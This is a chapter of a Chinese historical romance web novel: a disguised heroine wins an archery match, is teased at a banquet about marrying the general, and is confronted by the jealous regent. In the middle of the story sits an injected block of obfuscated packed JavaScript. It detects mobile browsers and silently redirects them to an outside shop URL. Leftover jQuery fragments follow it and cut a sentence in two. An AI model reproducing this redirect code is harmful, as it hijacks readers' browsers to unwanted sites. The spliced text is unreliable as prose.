李婳毫无悬念地赢下了这场比试。
看着一脸憋屈的言絙,华君很想告诉他——
他不过从军数年,靠自己摸索箭术;而她六岁起便有名师指点射击,十岁开始参赛,十二岁便夺得气/步/枪冠军,十六岁拿下飞碟射击冠军。十八岁那年,太爷爷甚至将市郊的一座私人射击场,作为生日礼物送给她。
所以,输给她,真的一点也不丢人。
好在言将军此人,不仅嗓门大,气量也大。憋屈不过三分钟,便坦然接受现实,当着众人的面,决定拜华君为师。
李婳可不想要这个烫手的山芋,忙拱手道:“我只识弩,不善弓射。将军常年征战,所用皆为弓箭,我所习之术,未必能助将军。”
言絙却摇头道:“华君此言差矣。论远射,弩未必胜弓;论近战,弓却远不及弩。战阵之上,近射之机甚多,若行偷袭、刺杀之事,长弓反成累赘。故华君之术,乃实战之术,难得至极。”
言絙这番话,说得很有道理。
就像甲胄太重,不适合久战一般,她也一直觉得,背负长弓,取箭、搭弦、发射,实在太过迟缓。
躲在远处暗杀,弓箭确实有优势,可若置身于千军万马的混战之中,以弓弩制敌,反而凶险。四面皆敌,取箭、搭弦之间稍有迟滞,便可能被人冷不防一刀砍死。
她今日所用的弩,是用这里的弓弩改造而成,添了准星与箭匣。受限于技术与材料,她无法制出真正的连发机关,却能一次装匣,连射五箭,换匣也只需数秒。
若能让装备马镫的精骑,将这柄可单手连射五箭的弩练至炉火纯青,其带来的战力提升,不可估量。说不定不必开战,便可直接潜入邯郸,取了洪郎性命。
可惜,她现在是华君,自然不能与言絙谈论这些。不过,让他先掌握这柄单手连发弩的用法,也算为日后组建弓弩队做准备。
“言将军所言甚是。若能为肃敌尽一份薄力,在下自当竭尽所能。然我身居乌堡,不过一介医工,实难随军亲授。明日,我便将射术口诀、一柄弓弩,并数匣竹箭奉上,以供将军试用。不知将军意下如何?”
言絙正要致谢,周管家已过来请他们入席。
这次来的人并不多。除宇文秀、于邓、言絙、河内太守、野王县令外,也不过两三名更始文官与几位豪强。其中,那位一年生十二个儿子的李公,也在其中。
不过今天,他倒是收敛许多。即便席内连一个美姬都没有,他也未露半分不满。甚至在缠着宇文秀炫耀了一番最近的战绩后,还兴致勃勃地看完了言絙与李婳的后半场比试,并非常诚恳地表示,他也想拜师。
所以入席时,他十分自来熟地与李婳换了位置,将她安排在言絙与自己之间。
席上,知道华医工真实身份的,有三人。可为了避免此地无银三百两,谁也不敢轻易介入。尤其是宇文秀。
刚才分开时,李婳便郑重警告过他,千万别一时冲动,坏了她的计划。
宴会前半场,众人都还颇有分寸。毕竟乌堡方遭塌陷,死伤惨重,谁也不好太过放纵。可三巡酒过,席间气氛便渐渐热络起来。
李公见言絙与华君聊起射术,甚是投契,忽然插话问道:“二位可曾婚配?”
李婳顿时敲响了警钟。
她见识过这位老兄夸夸其谈的本事。若任由他说下去,只怕连昨夜如何与三个美妾“鏖战”的事,都要拿出来与他们分享。
可他毕竟是豪强,连宇文秀都要给他几分面子。她一介医工,要是怼得太狠,终究不太明智。
所以只能装作羞怯,低头不语,借此婉转地避开这个话题。
可憨厚的言将军却毫无防备,将家中如何逼他相亲一事,原原本本地说了一遍。
不过,听他这么一说,李婳才发现自己以前好像对他有所误会。不是他眼光太高,瞧不上洛阳贵女;而是他人间清醒,看穿了那些女子的逢迎作态。
更让她意外的是,言絙竟也不喜铅粉妆,直言那些粉脂涂得太厚,与她们同席用饭,总担心风一吹,粉末便会落进他的碗里,对身体不好。
一旁的李公听了哈哈大笑:“言将军有所不知。女子面上之粉,甚香;女子唇上之脂,甚甘。若尝过一回,便会日日惦念。”
言絙不置可否。见李婳正低头认真啃着一只鸡腿,忍不住一笑,感叹道:“若天下女子皆如华君这般质朴纯正,便好了。”
李婳心里咯噔一声,顿觉不妙。
这家伙,口无遮拦。虽是一句无心之言,可传进旁人耳中,谁知道会被曲解成什么样。她正要开口化解,却被李公抢先了一步。
“这有何难。既家中催婚,娶了华君便是。”
他的声音并不大,可话音刚落,堂内瞬间一片死寂。敏感些的人,大概都已感觉到,阵阵阴风正从主位缓缓吹来。
李婳知道,宇文秀定然听得一字不漏。刚才教言絙弓弩时,那道沉沉的目光便一直落在她身上,直看得她背脊发凉。
不过,这种时候,最明智的做法就是装作什么都没听见。
于是,她连头也没抬,继续啃她的鸡腿。
谁知李公却不识趣,忽然盯着她的脸打量起来。半晌,长叹一声,道:“观华君之骨相,实属难得,只是这皮相……着实有些可惜。”
早已习惯被嫌弃皮相的李婳,正想顺势自嘲几句,岂料言絙冷冷看了李公一眼,不悦道:“皮相如何?有甚不妥?华君乃吾平生所见女子之中,最美之人。”
李婳之所以能如此淡定,是因为经过近一个月的观察,她认定言絙对男女之事并不上心。所以,就算李公出言调侃,也掀不起什么风浪。可她没想到,言絙竟会为了维护她的自尊,说出如此直白的话来。
虽然很感激,但也让她相当为难。因为他的大嗓门,室内再次安静了下来。不等李公反应过来,坐在他们对面、绝对一直在偷听的某主簿,突然起哄道:“不如趁机定了这桩婚事。如此,宴后亦可续议射术也。”
话音一落,席间顿时响起一片不怀好意的笑声。
李婳怕宇文秀被激得掀桌子,忙丢下鸡腿,抛下一句“容我失陪片刻”,便头也不回地逃离了正堂。
惹不起,躲总可以吧。
……
从正堂出来,李婳索性直接回内院。
长廊幽深,檐下灯影被夜风吹得微微摇晃。经过连接前后院的僻静夹道时,她脚步忽然一顿。
宇文秀倚在廊柱上,眸中噙着一点火星子,定定地望着她。夜风吹起他的衣摆,他却始终未动,静静等她走近。
“恭喜华君收获一徒。”他阴阳怪气道。
“多谢大王。”李婳假惺惺地朝他一揖,若无其事地从他身旁走过。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17794336|206986||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>谁知刚经过他身侧,便被他从身后一把拦腰抱起,倏地推门,带入廊后偏房。整个过程不过数秒。
虽然李婳知道,这个打翻醋坛子的男人不会轻易放过她,却没想到他竟这么沉不住气。
屋内昏暗,只有廊下灯光与月光透过窗上锦帛,洒入室内。
为了让他尽快返回宴席,李婳只能主动服软。她踮起脚,在他唇上轻轻一啄,低声解释道:“言将军并无他意,莫恼。我与他谈论弓弩,不过因军务所需。待我回营,当建一弓弩队,可作前锋、暗探。”
“卿怎知伯昭无意?”
扣在她后腰的手骤然收紧,将她带近几分。
“卿不许孤亲近旁的女子,为何卿却能当着孤的面,对旁的男子笑得如此妩媚?”
李婳实在不知道,这张脸原来还能笑出“妩媚”来。
可这个男人吃软不吃硬,她只能伸手勾住他的脖颈,半是哄劝,半是无奈道:“你既恼我与言将军论射术,为何又携他来乌堡?莫非你不知他为何而来?”
“不过论射术,何须笑得如此开怀?”宇文秀低眸看她,语气依旧不快。
“伯昭本无意。可他若见卿一笑,难保不会生出旁念。伯修之事尚且未远,孤不欲再有旁人,对卿存非分之想。”
听他这么一说,李婳才意识到,自己刚才确实有些忘形了。
在这个时代,男女之间本就有诸多避讳。她若对一个男子表现得过于亲近,即便只是因为兴趣相投,也难免会让人误会。
若言絙是个看重皮相之人倒也罢了,可偏偏他不在意女子容貌。如此一来,即便是皮相寻常的华君,也未必不能入他之眼。
不过,她又忍不住有些想笑。
堂堂摄政王,竟然也会有不自信的时候。他难道不知道,自己这张脸生得有多招人吗?
“我不过久未遇知射术之人,一时谈得兴起罢了。”她轻声哄道,“莫恼。我心中唯有你一人,绝无旁意。今日是我疏忽了,往后不会如此,可好?”
宇文秀却低头看着她,神色仍未完全缓和。
“孤自然知卿心意。”
他说着,伸手拂过她鬓边散落的发丝,动作温柔,语气却半点不肯退让。
“可孤不喜。”
“卿乃吾妇,孤不愿见卿对旁人如此。”
李婳一时无言。半晌,才小声嘀咕道:“难道我连与旁人说几句话,都不成?”
宇文秀看着她,指尖轻轻摩挲她的唇角。“寻常言语,自无不可。”
他顿了顿。“然同游观景,亲授弓术,展颜欢笑……不可。”
李婳险些被他气笑。还未成婚,便已经想着如何管她了。
可换位思考了一下,觉得若是宇文秀单独与某个女子去观雪,又手把手教她射术,她似乎也会不悦。
彼此独占,或许本就是相爱之人的本能,与身处哪个时空并无太大关系。
这么一想,便觉得自己刚才确实有些过分了。
正要开口道歉,宇文秀却已用行动告诉她,何谓‘吾妇’。
只是……
这里是周管事处理事务的房间。
若他突然推门进来,发现自己的偏房竟被两人当作调情之地,怕是会被宇文秀灭口。
她趁着空隙推了推他,微微喘息道:“此处不妥,宴后……可来东厢?”